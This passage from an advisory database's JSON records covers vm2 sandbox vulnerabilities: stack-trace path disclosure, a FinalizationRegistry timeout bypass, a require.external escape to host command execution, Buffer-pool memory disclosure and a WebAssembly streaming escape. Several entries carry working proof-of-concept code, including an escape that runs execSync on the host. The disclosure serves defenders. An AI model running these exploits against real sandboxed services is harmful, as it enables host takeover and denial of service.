exposes absolute paths from vm2, Node.js internals, and the embedding application. Default VM and NodeVM configurations are affected without requiring special options.\n\n## PoC\n\nA default-configured `VM` runs attacker-supplied code. Calling `eval` with deliberately malformed source makes the host-side source transformer throw a `SyntaxError`; reading `.stack` on the caught error exposes the host call stack to the sandbox.\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(new VM().run(`\n  var s; try { eval(\"@@@ catch\") } catch (e) { s = e.stack }\n  s;\n`));\n```\n\n### Observed output\n\n```text\nSyntaxError: Unexpected character '@'\n    at makeNiceSyntaxError (.../lib/transformer.js:41:16)\n    at transformer (.../lib/transformer.js:116:8)\n    at Object.transformAndCheck (.../lib/vm.js:76:14)\n    at Object.apply (.../lib/setup-sandbox.js:2585:16)\n    at VM.run (.../lib/vm.js:529:16)\n```\n\nThe stack string returned to the sandbox contains absolute host paths for `lib/transformer.js`, `lib/vm.js`, `lib/setup-sandbox.js`, Node internals, and the embedding application's own source file.\n\n## Impact\n\nSandboxed code running under the default `new VM()` or `new NodeVM()` configuration can read absolute filesystem paths of the embedding application's source tree plus host function names, bypassing the host-path redaction added for GHSA-v27g-jcqj-v8rw. On a multi-tenant code-runner this discloses deployment layout such as `/home/app/...` or `/var/task/...`, useful for fingerprinting and for chaining into further attacks. The bridge forwards `.stack` reads to the host-realm formatter (`lib/bridge.js:1482`), so the sandbox-side stack redaction never runs; the leak does not require special configuration and persists when string eval is disabled, because the host-side transformer throws before eval is handled. Information disclosure only, no code execution.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T22:35:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-x6m4-chr9-cg97","https://nvd.nist.gov/vuln/detail/CVE-2026-92936","https://github.com/patriksimek/vm2/commit/5d5ba5343af571c688a3a81cefad2de25b94180a","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.0-before-3.11.7-information-disclosure-via-error-stack","https://github.com/advisories/GHSA-x6m4-chr9-cg97"],"source_kind":"github","identifiers":["GHSA-x6m4-chr9-cg97","CVE-2026-92936"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.747Z","epss_percentage":0.00455,"epss_percentile":0.37526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Nm00LWNocjktY2c5N84AB7p8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Nm00LWNocjktY2c5N84AB7p8","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.0, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Nm00LWNocjktY2c5N84AB7p8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNGZ4LXY4aGgtMjJtds4AB7p7","url":"https://github.com/advisories/GHSA-r4fx-v8hh-22mv","title":"vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)","description":"### Vulnerability Summary\n \nvm2's `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` → `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned.\n \n`FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified — they are not present anywhere in `lib/setup-sandbox.js`'s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) — the engine invokes the sandboxed cleanup callback directly. This invocation is **not** mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn't a new call to `VM#run()` at all — it's the GC's own native callback-invocation path.\n\n## Affected Code \u0026 Version\n \n- **Repository:** `patriksimek/vm2`\n- **Version tested:** `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) — the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).\n- **`lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105):** the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.\n- **`lib/setup-sandbox.js`, lines 1–14:** the module's captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.\n## Steps to Reproduce\n \nEnvironment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`.\n \n1. Clone and install:\n```\n   git clone https://github.com/patriksimek/vm2.git\n   cd vm2 \u0026\u0026 npm install\n```\n2. Save as `poc_timeout_bypass.js` in the repo root:\n```js\n   const { VM } = require('./lib/main.js');\n \n   const CONFIGURED_TIMEOUT_MS = 200;\n   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });\n \n   const t0 = Date.now();\n   let runError = null;\n   try {\n     vm.run(`\n       let target = {};\n       const registry = new FinalizationRegistry(() =\u003e {\n         const busyStart = Date.now();\n         while (Date.now() - busyStart \u003c 3000) { /* burn CPU, block event loop */ }\n       });\n       registry.register(target, 'held-value');\n       target = null; // drop only strong reference -\u003e GC-eligible\n     `);\n   } catch (e) { runError = e.message; }\n   const t1 = Date.now();\n   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);\n \n   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }\n   global.gc(); global.gc();\n \n   const timerScheduledAt = Date.now();\n   setTimeout(() =\u003e {\n     const delay = Date.now() - timerScheduledAt;\n     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');\n     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');\n   }, 10);\n```\n3. Run: `node --expose-gc poc_timeout_bypass.js`\n4. **Observed output:**\n```\n   vm.run() returned after 2 ms. Threw: null\n   Host setTimeout(10ms) actually fired after 3000 ms\n   Total wall time since vm.run() returned: 3029 ms\n```\n5. **Interpretation:** `run()` returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement.\n6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `\"function\"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak.\n## Fix Recommendation\n \nPick one or combine:\n \n1. **Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default.** These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled.\n2. **If they must remain available**, wrap `FinalizationRegistry`'s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today.\n3. **Document the gap explicitly** if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt.\n\n\nany application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces.\n \nThis is a **timeout-enforcement bypass / uncontrolled resource consumption** issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See \"What this report does not claim\" below.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-05T22:35:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-r4fx-v8hh-22mv","https://nvd.nist.gov/vuln/detail/CVE-2026-92942","https://github.com/patriksimek/vm2/commit/fe2fcca2a1e693548993eccc624489dc4cb586b4","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-timeout-bypass-via-finalizationregistry","https://github.com/advisories/GHSA-r4fx-v8hh-22mv"],"source_kind":"github","identifiers":["GHSA-r4fx-v8hh-22mv","CVE-2026-92942"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-16T06:00:37.931Z","epss_percentage":0.00488,"epss_percentile":0.40545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNGZ4LXY4aGgtMjJtds4AB7p7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNGZ4LXY4aGgtMjJtds4AB7p7","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNGZ4LXY4aGgtMjJtds4AB7p7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qM2htLTZyZzUtbWNods4AB7p6","url":"https://github.com/advisories/GHSA-j3hm-6rg5-mchv","title":"vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE","description":"## Summary\n\n`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** — \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2's own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: './',\n  },\n});\n```\n\n`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = 'host',          // \u003c-- defaults to 'host'\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // \u003c-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // \u003c-- real host require(), when context === 'host' (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`'s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.\n\n```js\nconst path = require('path');\nconst { NodeVM } = require('vm2');\n\nconst vm = new NodeVM({\n  require: { external: true, root: './' },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\\\/g, '/');\nif (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });\n  module.exports = inner.run(\"module.exports = require('child_process').execSync('whoami').toString().trim()\", 'inner.js');\n`, 'untrusted-plugin.js');\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: 'Abisheik M', platform: 'win32' }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2's own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the \"root is set but the fs adapter can't realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`'s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:34:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv","https://nvd.nist.gov/vuln/detail/CVE-2026-92946","https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external","https://github.com/advisories/GHSA-j3hm-6rg5-mchv"],"source_kind":"github","identifiers":["GHSA-j3hm-6rg5-mchv","CVE-2026-92946"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-16T06:00:37.933Z","epss_percentage":0.00857,"epss_percentile":0.57524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qM2htLTZyZzUtbWNods4AB7p6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qM2htLTZyZzUtbWNods4AB7p6","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qM2htLTZyZzUtbWNods4AB7p6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY3FjLTcyNngtNXdmY84AB7p5","url":"https://github.com/advisories/GHSA-fcqc-726x-5wfc","title":"vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool","description":"### Summary\nSandboxed code is able to disclose host memory used by small allocations by `Buffer.from`, `Buffer.concat`.\n\n### Details\nvm2 exposes `Buffer` object to sandboxed code by default. Small [`Buffer` allocations](https://nodejs.org/api/buffer.html#static-method-bufferallocunsafesize) (for example, [Buffer.allocUnsafe()](https://nodejs.org/api/buffer.html#static-method-bufferallocunsafesize), [Buffer.from(array)](https://nodejs.org/api/buffer.html#static-method-bufferfromarray), [Buffer.from(string)](https://nodejs.org/api/buffer.html#static-method-bufferfromstring-encoding), and [Buffer.concat()](https://nodejs.org/api/buffer.html#static-method-bufferconcatlist-totallength)) use the same Buffer pool, which is shared with the sandbox. This allows sandboxed code to disclose host memory used by the functions listed above.\n\n### PoC\nTested against `vm2@3.11.5` in the node REPL.\n```javascript\nBuffer.from('host-memory-should-not-leak-to-sandbox')\nnew (require('vm2').VM)().run(`Buffer.from(Buffer.from([0]).buffer, 0, Buffer.from([0]).buffer.byteLength).toString('ascii')`)\n```\n\n\u003cimg width=\"1044\" height=\"104\" alt=\"Screenshot 2026-07-23 at 17 54 15\" src=\"https://github.com/user-attachments/assets/987b860c-6702-4818-bfaa-c77919c777e5\" /\u003e\n\n### Impact\nSince sandbox acquires an ArrayBuffer that is used by the host, it can disclose sensitive data going through functions mentioned above and even write to these buffers, which can lead to sensitive data exposure and potentially denial-of-service.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:34:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc","https://nvd.nist.gov/vuln/detail/CVE-2026-92947","https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-memory-disclosure-via-buffer-pool","https://github.com/advisories/GHSA-fcqc-726x-5wfc"],"source_kind":"github","identifiers":["GHSA-fcqc-726x-5wfc","CVE-2026-92947"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.750Z","epss_percentage":0.00482,"epss_percentile":0.39574,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3FjLTcyNngtNXdmY84AB7p5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY3FjLTcyNngtNXdmY84AB7p5","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3FjLTcyNngtNXdmY84AB7p5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13andoLXFxdnAtZzRwNM4AB7p4","url":"https://github.com/advisories/GHSA-wjwh-qqvp-g4p4","title":"vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass","description":"## Summary\n\nThere is a sandbox escape in vm2 `3.11.5` / current HEAD when it is used on Node.js 26. The issue is reachable from a default `new VM()` sandbox. No `NodeVM`, `require` permission, host object injection, or intentionally unsafe configuration is required.\n\nThe escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points `WebAssembly.promising` and `WebAssembly.Suspending`, because those APIs exposed a Promise path whose host-realm `Promise.prototype` was not intercepted by vm2's Promise hardening or bridge layer.\n\nThe same unsafe class remains reachable through `WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming`. On Node 26, these streaming APIs can produce a raw host-realm Promise path that rejects with a host-realm error. By controlling `Symbol.species` through `Promise.prototype.finally`, sandbox code can receive that raw host error object, walk from the host error constructor to the host `Function` constructor, and recover the real host `process` object.\n\nThe proof of concept demonstrates this by first showing that direct access to `process`, `require`, and constructor-based escapes are blocked in the same default VM. It then reaches the host `process`, verifies that the recovered pid matches the parent Node process, and writes a harmless marker file through host `fs`.\n\n\n\n## Impact\n\nThis is a sandbox escape. In applications that expose vm2 execution to attacker-controlled JavaScript, the issue can become host code execution in the context of the Node.js process running the sandbox.\n\nThis is not remote code execution by default. The remote aspect depends on the embedding application. The accurate framing is:\n\n\u003e An attacker who can supply JavaScript to a vm2 `VM` sandbox on Node 26 can break out of the vm2 boundary and obtain host Node.js capabilities.\n\nThis matters for services that use vm2 as a security boundary for untrusted JavaScript, including plugin runners, workflow engines, automation platforms, online code runners, browser-automation sandboxes, and AI-agent or user-script execution environments.\n\nThe PoC only writes a marker file under the OS temporary directory. That marker is intentionally harmless. The security impact is not the marker itself; the security impact is that sandbox-controlled code obtains the real host `process` and host modules after the control case proves those capabilities are normally blocked.\n\n\n\n## Tested versions and configuration\n\nTested vm2 `3.11.5` at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`.\n\nThe escape reproduced on Node.js `26.2.0`. I also tested the same PoC on Node.js `20.20.2`, `22.22.3`, and `24.15.0`; those versions did not recover the host process through this path.\n\nThe test case uses the default `VM` boundary only:\n\n```js\nconst { VM } = require('./lib/main');\nconst vm = new VM({ timeout: 8000 });\n\nvm.run(attackerControlledJavaScript);\n```\n\nNo `NodeVM` was used. The sandbox was not given `require`, `process`, `fs`, `child_process`, host callbacks, or host objects. The PoC only controls the JavaScript string passed to `vm.run()`.\n\nThe version dependency appears to be in the final delivery step: on Node 26 the host-realm rejection from `WebAssembly.compileStreaming` reaches the attacker-controlled `finally`/`Symbol.species` capability, while the same path did not become exploitable in my Node 20/22/24 tests. I would still treat the fix as version-independent: sandbox code should not be able to receive this raw host-Promise path from the WebAssembly streaming APIs at all.\n\n\n\n## Root cause\n\nThe security boundary relies on vm2 keeping Promise objects that are reachable from sandbox code in one of two safe shapes:\n\n1. **Sandbox-realm Promise.** The Promise uses the sandbox's Promise prototype chain, so vm2's Promise hardening can pin species and sanitize callbacks.\n2. **Bridge-proxied host Promise.** The Promise is a host object crossing through vm2's membrane, so bridge traps and callback sanitizers apply.\n\n`WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming` introduce a third shape: a raw host-realm Promise path that is directly reachable from sandbox code and is not bridge-proxied. This is the same class of object that made the JSPI issue dangerous.\n\nThe exploitability depends on two facts being true at the same time:\n\n- the streaming WebAssembly API returns a Promise path whose relevant Promise machinery is host-realm rather than sandbox-realm; and\n- the rejection generated by passing an invalid streaming source is a host-realm `TypeError` from Node's WebAssembly streaming implementation.\n\nOnce that host error is delivered to attacker-controlled code, the usual host-realm constructor walk becomes possible:\n\n```js\nhostError.constructor.constructor('return process')()\n```\n\nThat expression resolves through the host `Function` constructor, not the sandbox one, because the error object is host-realm.\n\n\n\n## Exploit flow\n\nThe exploit flow is small, but the realm boundary is the important part:\n\n1. Sandbox code calls `WebAssembly.compileStreaming(0)`.\n2. The argument is not a valid `Response` or Promise resolving to a `Response`, so the returned Promise rejects.\n3. On Node 26, the rejection value is a host-realm error object.\n4. The attacker installs a controlled `constructor` accessor on the returned Promise and provides a custom `Symbol.species` constructor.\n5. Calling `p.finally(() =\u003e {})` reaches the species path used by `Promise.prototype.finally`.\n6. `NewPromiseCapability(F)` invokes the attacker-controlled constructor `F` and exposes the result capability functions.\n7. When the Promise rejects, the host-realm error is delivered to the attacker-controlled rejection path.\n8. The attacker uses the host error's constructor chain to recover host `process`.\n9. The PoC loads host `fs` through `process.mainModule.require('fs')` and writes a harmless marker file.\n\n`Promise.prototype.finally` is important because it is the remaining species-sensitive Promise combinator that is not pinned the same way as vm2's hardened `then`, `catch`, and static Promise helpers. However, simply wrapping the sandbox's `Promise.prototype.finally` is not sufficient for this bug: the dangerous Promise path is raw host-side Promise machinery, so the sandbox's own `finally` wrapper is not the method that protects this call. The dangerous source needs to be removed or safely wrapped.\n\n\n\n## Relationship to GHSA-6j2x-vhqr-qr7q\n\nThis is not the original JSPI path. Current HEAD removes `WebAssembly.promising` and `WebAssembly.Suspending`, and the old PoC is blocked.\n\nThe bypass here reaches the same unsafe Promise shape through a different source: `WebAssembly.compileStreaming` / `WebAssembly.instantiateStreaming`. That is why I am reporting it as an incomplete fix for the GHSA-6j2x class rather than as a duplicate of the already-fixed JSPI issue.\n\n\n## Proof of concept\n\nThe PoC is provided separately as:\n\n[escape-poc.js](https://github.com/user-attachments/files/28443205/escape-poc.js)\n\nThe PoC uses a default `new VM()` with no privileged objects exposed; the marker file is only a harmless proof that the sandboxed code recovered host-side capability.\n\nThe PoC performs four control checks first:\n\n```text\nprocess access: blocked\nrequire access: blocked\nconstructor process access: blocked\nconstructor require(fs): blocked\n```\n\nThen it runs the exploit path and verifies that the recovered process is the actual host process by comparing the recovered pid with the parent process pid.\n\nExpected vulnerable output on Node 26.2.0:\n\n```text\n[control] process access             : blocked\n[control] require access             : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs)    : blocked\n[exploit] host process reached       : yes\n[exploit] host pid                   : \u003cpid\u003e\n[exploit] host pid matches parent pid: yes\n[exploit] host execPath              : \u003cnode executable\u003e\n[exploit] host version               : v26.2.0\n[exploit] marker file                : created\n[result] VULNERABLE\n```\n\nExpected output on Node 24.15.0:\n\n```text\n[control] process access             : blocked\n[control] require access             : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs)    : blocked\n[exploit] host process reached       : no\n[exploit] marker file                : not created\n[result] not reproduced on this Node version\n```\n\nThe marker file contains only a proof string, the Node version, the pid, and a timestamp.\nAs a sanity check, I reproduced the Node 26 result from a fresh public clone at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`; `lib/` was unmodified, and only the PoC file was copied in.\n\n## Suggested fix\n\nThe minimal fix is to remove the remaining streaming WebAssembly APIs from the sandbox in the same WebAssembly hardening block that already removes the JSPI APIs.\n\n```js\nif (typeof WebAssembly.compileStreaming !== 'undefined') {\n    localReflectDeleteProperty(WebAssembly, 'compileStreaming');\n}\nif (typeof WebAssembly.instantiateStreaming !== 'undefined') {\n    localReflectDeleteProperty(WebAssembly, 'instantiateStreaming');\n}\n```\n\nThis patch works against the PoC on Node 26.2.0 and Node 24.15.0. With the patch applied, the streaming APIs are unavailable inside the sandbox, the PoC does not recover the host process, and the marker file is not written.\n\nTwo additional defense-in-depth change recommendations:\n\n1. Add a `Promise.prototype.finally` hardening path for consistency with the existing Promise hardening. This is not sufficient by itself for this bug, but it removes a known species-sensitive gap for sandbox-realm Promises.\n2. Add a regression/invariant test that checks sandbox-reachable Promise-producing intrinsics do not expose raw host-Promise paths outside the bridge.\n\nThe non-streaming WebAssembly Promise APIs was also checked. The end-to-end escape reproduced through `compileStreaming` and 